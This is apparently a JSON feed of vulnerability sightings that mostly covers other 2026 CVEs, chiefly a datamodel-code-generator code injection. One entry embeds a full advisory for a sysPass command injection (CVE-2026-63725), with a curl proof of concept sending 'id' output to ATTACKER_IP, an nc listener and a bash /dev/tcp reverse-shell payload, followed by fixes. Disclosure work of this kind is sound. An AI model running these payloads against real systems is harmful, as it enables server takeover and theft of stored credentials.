{"vulnerability": "cve-2026-6372", "sightings": [{"uuid": "91c27735-1c13-466c-ac27-da08a4ef1ed5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-6372", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjkfobkscn2w", "content": "", "creation_timestamp": "2026-04-15T17:18:46.798665Z"}, {"uuid": "e31bf4cd-8e16-457d-bb39-714a383ee4ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-6372", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjklq4pkp62t", "content": "", "creation_timestamp": "2026-04-15T19:07:09.974481Z"}, {"uuid": "b7558c65-5b99-4dcf-8ec1-b4ab66bbefd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-6372", "type": "published-proof-of-concept", "source": "Telegram/_QjGcBmjsxbZ4Amc1U1V8p7QxKw60FZ8Kw92T8xX9Q9AP7c", "content": "", "creation_timestamp": "2026-04-15T19:22:05.000000Z"}, {"uuid": "a7b1c0b7-cdee-4558-8c7a-af6daf5bcc90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96417", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63720-datamodel-code-generator\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rahulreddykarne\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-03 10:51:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCode injection (RCE) in datamodel-code-generator via unvalidated customBasePath (CVE-2026-63720)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-03T12:12:27.468830Z"}, {"uuid": "16010231-a7d6-43af-96bb-9f59c62e45f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "published-proof-of-concept", "source": "Telegram/UBJmie2uo-nhNRmzuL-Rvz_YulwxG1KXQPPCce6f2SyQJL0", "content": "", "creation_timestamp": "2026-08-03T16:00:06.023954Z"}, {"uuid": "50094b53-9fb0-4adf-bc97-bcd95cfa92b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "published-proof-of-concept", "source": "Telegram/fRn9WLRC1KE6ry6fn3owOvcDc4IpJXFhnXNgjnu-Gc8v93I", "content": "", "creation_timestamp": "2026-08-03T16:00:05.579265Z"}, {"uuid": "f30822a4-3cc6-4e08-a824-93955f018b45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63725", "type": "seen", "source": "https://gist.github.com/W40X/6747ba1b7da7bb69b0c0e162628df279", "content": "# CVE-2026-63725 \u2014 sysPass FileBackupService OS Command Injection\n\n**Reporter:** Reju Kole \n\n**Product:** sysPass Password Manager  \n**Affected Versions:** v3.x (all versions, last release 3.2.11 \u2014 2022-07-02)  \n**Fixed Version:** None (project appears abandoned; vendor unresponsive)  \n**CVE ID:** CVE-2026-63725  \n**CWE:** CWE-78 (OS Command Injection), CWE-88 (Argument Injection)  \n**CVSS v3.1:** 7.2 HIGH \u2014 `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`  \n**Coordinated by:** VulnCheck (https://vulncheck.com)  \n**Disclosure date:** 2026-07-22\n\n---\n\n## Summary\n\n`FileBackupService::doBackupFiles()` in `lib/SP/Services/Backup/FileBackupService.php` builds a `tar` shell command by string-concatenating the backup directory path (`$this->path`) **without** calling `escapeshellarg()`. An administrator who can set the backup path via the admin API or UI can inject arbitrary shell commands that execute with web server privileges when a backup is triggered.\n\nSince sysPass is a password manager, successful exploitation gives full access to all stored credentials and encryption keys.\n\n---\n\n## Vulnerable Code\n\n**File:** `lib/SP/Services/Backup/FileBackupService.php` (~line 388)\n\n```php\nprotected function doBackupFiles() {\n    $backupFileApp = $this->backupFileApp . ArchiveHandler::COMPRESS_EXTENSION;\n\n    $command = 'tar czf '\n        . $backupFileApp\n        . ' '\n        . BASE_PATH\n        . ' --exclude \"'\n        . $this->path        // \u2190 UNQUOTED, no escapeshellarg() \u2014 INJECTION POINT\n        . '\" 2>&1';\n\n    exec($command, $resOut, $resBakApp);\n    // ...\n}\n```\n\n`$this->path` is read from the sysPass configuration (stored in the database and writable via the admin settings API). When an administrator sets this value to contain shell metacharacters (`;`, `` ` ``, `$(...)`, etc.), the shell interprets them when `exec()` is called.\n\n---\n\n## Proof of Concept\n\n**Prerequisites:** sysPass administrator account (or API key with admin scope).\n\n### Step 1 \u2014 Set malicious backup path via admin API\n\n```bash\ncurl -X POST https://syspass.target/api/v1/config \\\n  -H \"Authorization: Bearer ADMIN_API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"action\": \"CONFIG_BACKUP_SAVE\",\n    \"params\": {\n      \"siteBackupPath\": \"/var/syspass/backup\\\"; curl http://ATTACKER_IP:8080/$(id|base64 -w0); #\"\n    }\n  }'\n```\n\nThis stores the following as the backup path in the database:\n```\n/var/syspass/backup\"; curl http://ATTACKER_IP:8080/$(id|base64 -w0); #\n```\n\n### Step 2 \u2014 Start listener on attacker machine\n\n```bash\nnc -lvnp 8080\n```\n\n### Step 3 \u2014 Trigger backup operation\n\n```bash\ncurl -X POST https://syspass.target/api/v1/config \\\n  -H \"Authorization: Bearer ADMIN_API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"action\": \"CONFIG_BACKUP_RUN\"}'\n```\n\n### Step 4 \u2014 Observe the constructed shell command and callback\n\nThe resulting shell command becomes:\n```bash\ntar czf /backup/syspass.tar.gz /app --exclude \"/var/syspass/backup\"; curl http://ATTACKER_IP:8080/$(id|base64 -w0); #\" 2>&1\n```\n\nAttacker listener receives:\n```\nGET /dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSk= HTTP/1.1\n```\n\u2192 base64 decodes to: `uid=33(www-data) gid=33(www-data) groups=33(www-data)`\n\n### Reverse shell variant\n\n```\n/safe/path\"; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'; #\n```\n\n---\n\n## Impact\n\nAn attacker with sysPass administrator credentials (or who escalates to admin via another vulnerability) can:\n\n- Execute arbitrary OS commands as the web server process (`www-data` / `apache`)\n- Read the sysPass **master password** and **encryption key** from memory or config files\n- **Decrypt all stored passwords** in the database \u2014 defeating sysPass's core security model\n- Export the entire password vault\n- Pivot to internal systems using credentials stored in sysPass\n- Install persistent backdoors on the password manager server\n\nThe severity is amplified because sysPass stores credentials for **other systems** \u2014 a single compromise gives access to an organization's entire secret store.\n\n---\n\n## Remediation\n\n**Option 1 (Quick fix):** Wrap all shell arguments with `escapeshellarg()`:\n\n```php\n$command = 'tar czf '\n    . escapeshellarg($backupFileApp)\n    . ' '\n    . escapeshellarg(BASE_PATH)\n    . ' --exclude '\n    . escapeshellarg($this->path)   // \u2190 ADD THIS\n    . ' 2>&1';\n```\n\n**Option 2 (Recommended):** Replace `exec()` with `proc_open()` using an explicit argument array \u2014 eliminates shell injection entirely:\n\n```php\n$args = ['tar', 'czf', $backupFileApp, BASE_PATH, '--exclude', $this->path];\n$process = proc_open($args, $descriptorSpec, $pipes);\n```\n\n**Option 3:** Validate the backup path on write \u2014 reject any path containing shell metacharacters (`;`, `|`, `&`, `` ` ``, `$`, `(`, `)`, `{`, `}`, `<`, `>`, `\"`, `'`).\n\n---\n\n## Vendor Contact Attempts\n\n| Date | Method | Result |\n|------|--------|--------|\n| 2026-07-14 | nuxsmin@syspass.org | Bounce (address does not exist) |\n| 2026-07-14 | security@syspass.org | Bounce (address does not exist) |\n| \u2014 | GitHub @nuxsmin | No response (project last active 2022) |\n\n**Note:** sysPass appears to be an abandoned project. The last release (3.2.11) was published on 2022-07-02. No maintainer activity has been observed since then.\n\n---\n\n## References\n\n- Repository: https://github.com/nuxsmin/sysPass\n- Vulnerable file: `lib/SP/Services/Backup/FileBackupService.php`\n- CWE-78: https://cwe.mitre.org/data/definitions/78.html\n- VulnCheck: https://vulncheck.com", "creation_timestamp": "2026-07-31T18:24:59.664196Z"}, {"uuid": "2ca26b02-dca4-49f9-b4f3-353f01fe96e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "published-proof-of-concept", "source": "Telegram/fRn9WLRC1KE6ry6fn3owOvcDc4IpJXFhnXNgjnu-Gc8v93I", "content": "", "creation_timestamp": "2026-08-04T00:00:33.826640Z"}, {"uuid": "b55f9feb-9dbc-4ec0-b417-a145aedc4489", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "published-proof-of-concept", "source": "Telegram/UBJmie2uo-nhNRmzuL-Rvz_YulwxG1KXQPPCce6f2SyQJL0", "content": "", "creation_timestamp": "2026-08-04T00:00:34.229600Z"}, {"uuid": "07e1f23e-dfc7-47f3-8db0-8e1ba79933f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96417", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63720-datamodel-code-generator\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rahulreddykarne\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-03 10:51:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCode injection (RCE) in datamodel-code-generator via unvalidated customBasePath (CVE-2026-63720)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-04T00:00:40.899489Z"}, {"uuid": "d6d3c684-3729-41ec-85e6-5d3511724001", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63728", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr4scbfod72b", "content": "CVE-2026-63728 - Gitleaks Secret Exfiltration via Non-Hermetic Sprig Template Functions in Report Template Feature\nCVE ID : CVE-2026-63728\n \n Published : July 21, 2026, 12:17 a.m. | 1\u00a0hour, 27\u00a0minutes ago\n \n Description : Gitleaks prior to 8.30.1 contains a template injection ...", "creation_timestamp": "2026-07-21T02:48:58.865836Z"}, {"uuid": "31e853fb-24f2-40a3-8b00-c15278eb448a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63729", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr55nepsvl2q", "content": "CVE-2026-63729 - TeX Live SyncTeX Parser Heap Use-After-Free via Malformed SyncTeX File\nCVE ID : CVE-2026-63729\n \n Published : July 21, 2026, 3:16 a.m. | 2\u00a0hours, 28\u00a0minutes ago\n \n Description : The SyncTeX parser (synctex_parser.c) shipped with TeX Live and embedded by downst...", "creation_timestamp": "2026-07-21T06:12:01.774622Z"}, {"uuid": "662f5fa0-7c51-482f-baa6-72dddb8f4a55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrjpcezbyb2c", "content": "\ud83d\udfe0 CVE-2026-63720 - High (7.5)\n\ndatamodel-code-generator prior to version 0.70.0 contains a code injection vulnerability that all...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-63720/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-26T05:59:58.251981Z"}, {"uuid": "774a68f0-9e8f-4c7e-ba92-bd034f8cbf2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-63720", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116984750038327145", "content": "CVE-2026-63720 (HIGH): koxudaxi datamodel-code-generator <0.70.0 is vulnerable to code injection. Malicious input schemas can trigger remote Python code execution. Avoid untrusted schemas & update when possible. https://radar.offseq.com/threat/cve-2026-63720-improper-control-of-generation-of-code-code-injection-in-koxudaxi-datamodel-code-a0a27f1d30c87e2e #OffSeq #infosec #Python #CVE202663720", "creation_timestamp": "2026-07-26T06:00:24.970763Z"}, {"uuid": "30db5367-bde8-4dd5-b82f-4b2544e84992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-63720", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mrjpdauvjx2n", "content": "HIGH severity code injection in koxudaxi datamodel-code-generator (<0.70.0) allows attackers with schema control to execute remote code. Use trusted input only & upgrade ASAP. Details: https://radar.offseq.com/threat/cve-2026-63720-improper-control-of-generation-of-code-code-injection-in-koxudaxi...", "creation_timestamp": "2026-07-26T06:00:27.634209Z"}, {"uuid": "e9879ec1-508d-4616-9c5a-da697841609e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mrjy3n3cnz2y", "content": "datamodel-code-generator 0.70.0\u672a\u6e80\u3067\u30b3\u30fc\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u8106\u5f31\u6027\u3002\u653b\u6483\u8005\u306f\u5165\u529b\u30b9\u30ad\u30fc\u30de\u3092\u60aa\u7528\u3057\u3001remote code execution\u304c\u53ef\u80fd\u306b\u306a\u308b\u3002\nCVE-2026-63720 CVSS 7.5 | HIGH", "creation_timestamp": "2026-07-26T08:37:14.671976Z"}, {"uuid": "2c66cca3-6a80-40ed-a9c7-b78cc7036961", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63727", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrprsqvyp52o", "content": "\ud83d\udfe0 CVE-2026-63727 - High (8.8)\n\nAnchore Enterprise versions from 5.11.0 to 5.27.1 and 6.0.0 contain an improper privilege escalat...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-63727/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-28T16:00:53.373602Z"}]}